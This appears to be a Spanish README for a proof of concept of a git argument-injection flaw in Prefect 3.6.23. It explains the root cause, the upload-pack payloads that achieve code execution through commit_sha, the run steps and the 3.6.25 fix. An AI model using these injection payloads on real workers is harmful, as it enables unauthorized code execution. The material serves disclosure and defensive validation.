
PoC para CVE-2026-5366: inyección de argumentos de git en GitRepository de Prefect que conduce a RCE en el worker.
commit_sha (además de inyección de argumentos a través de directories)src/prefect/runner/storage.pyEsta es una prueba de concepto para una vulnerabilidad ya divulgada y parcheada (corregida en Prefect 3.6.25), publicada con fines educativos y de validación defensiva. Ejecútalo solo contra software y sistemas que poseas o que estés autorizado a probar. Si ejecutas Prefect, actualiza a 3.6.25 o posterior.
| Archivo | Propósito |
|---|
poc.py | Ejecuta ambos vectores de inyección contra una instalación vulnerable e informa cuál produce ejecución de código |
run_offline.sh | Ejecutor sin red: construye un repositorio local file:// y dirige poc.py contra él (la forma fiable de ver dispararse el RCE) |
En src/prefect/runner/storage.py:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
Puntos de inyección (números de línea de 3.6.23):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489: ["git", "sparse-checkout", "set", *self._directories]
(sin separador --)En la ruta de commit_sha, --upload-pack=<program> es interpretado por
git fetch/git checkout como el programa de paquetes a ejecutar para la conexión, por lo que el
programa se ejecuta localmente en la máquina del worker. Esto está verificado de extremo a extremo
(ver "Resultados verificados" más abajo).
La ruta directories es una inyección de argumentos genuina pero no es un vector de RCE
a través de --upload-pack: git sparse-checkout set es un comando local sin
opción --upload-pack, por lo que el payload es rechazado como una bandera desconocida. Esta
asimetría se refleja en el parche oficial: commit_sha se rechaza de forma estricta, mientras que
una entrada de directories que empiece con -- solo genera una advertencia.
El núcleo es un truco de inyección de argumentos de git en el vector commit_sha.
Sin validación. En 3.6.23 el valor de commit_sha se almacena tal cual
(storage.py:181), sin más comprobaciones que la exclusión mutua entre branch/commit_sha.
Cualquier cadena es aceptada.
Aterriza en una posición de argumento de git. Cuando Prefect obtiene el código
(pull_code() y luego _clone_repo()), el valor se coloca en una lista de argumentos de git:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
Esto es una lista de argumentos (sin shell), por lo que no hay inyección de shell. El fallo es
que no hay un separador -- antes del valor controlado por el atacante.
--upload-pack se analiza como una opción, no como un argumento. git trata cualquier cosa
que empiece con - como una opción a menos que un separador -- lo preceda. El payload:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
convierte el comando en:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program> es una opción legítima de git fetch/clone/
ls-remote: nombra el programa que git ejecuta para servir los paquetes. Cuando el remoto es
local (file://) o se accede a través de SSH/transporte local, git ejecuta ese programa
en la máquina local.
/bin/sh -c '...' en lugar del helper real
git-upload-pack, por lo que el comando del atacante se ejecuta en el worker de Prefect.
git entonces falla (sh no habla el protocolo de git), pero el efecto secundario (ejecución
de código) ya ha ocurrido, por eso el PoC ignora la excepción resultante
y solo comprueba el archivo marcador.Por qué importa la limpieza previa a la prueba. Si el destino ya tiene un .git,
Prefect toma la ruta de "actualizar repositorio existente". Eliminarlo fuerza la ruta completa
de _clone_repo(), que tiene las llamadas más directas fetch origin <value> +
checkout <value>, los mejores sitios de inyección.
Por qué directories no da RCE. Ese valor aterriza en
git sparse-checkout set <value>, un comando local sin opción --upload-pack,
por lo que git rechaza el payload como una bandera desconocida. Sigue siendo una inyección
de argumentos genuina, pero no un vector de RCE con este payload.
La corrección (3.6.25). commit_sha debe coincidir con ^[0-9a-fA-F]{4,64}$, por lo que un
payload --upload-pack=... se rechaza con ValueError: Invalid commit SHA
en el momento de la construcción. Para directories, la corrección añade el separador -- en el
comando git (los valores ya no pueden leerse como opciones) más una advertencia.
prefect==3.6.23GitRepository(..., commit_sha=..., directories=...).pull_code()commit_sha malicioso se rechaza en la construcción de GitRepository(...)python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
O desde el código fuente en el tag vulnerable exacto:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
La forma fiable y autocontenida (construye un repositorio local file:// y ejecuta ambos vectores):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
También puedes ejecutar poc.py directamente:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
Importante: git solo respeta --upload-pack en transportes local y ssh. Contra
el remoto https predeterminado el payload es inerte, por lo que python poc.py no informa de
ningún marcador incluso en la versión vulnerable 3.6.23. Usa run_offline.sh (o un
POC_TARGET_REPO file:// / ssh) para ver cómo el RCE se dispara realmente.
El script realiza una limpieza agresiva (force_clean_destination) antes de cada
vector, de modo que golpea de forma fiable la ruta de clonado (_clone_repo), que ejecuta:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
Estos golpean las posiciones de argumento crudas en fetch / checkout y
sparse-checkout set.
Reproducido de extremo a extremo, completamente sin conexión (repositorio local desnudo file:// mediante
run_offline.sh), en Python 3.12:
| Versión | commit_sha | directories |
|---|---|---|
| 3.6.23 (vulnerable) | RCE logrado: archivo marcador escrito durante git fetch origin <payload> | sin marcador: sparse-checkout set rechaza la bandera --upload-pack |
| 3.6.25 (parcheado) | neutralizado: ValueError: Invalid commit SHA ... en la construcción de GitRepository(...) | sin marcador: separador -- + advertencia |
Contenido observado del marcador en la ejecución vulnerable:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
En una instalación parcheada, el objeto malicioso falla al construirse, antes de que se ejecute cualquier git:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
Una entrada de directories que empiece con -- solo emite una advertencia (la protección real es el separador -- añadido al comando git).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dÚsalo de forma responsable (¡claro !!! :PpPPpp) y solo en sistemas que controles :-)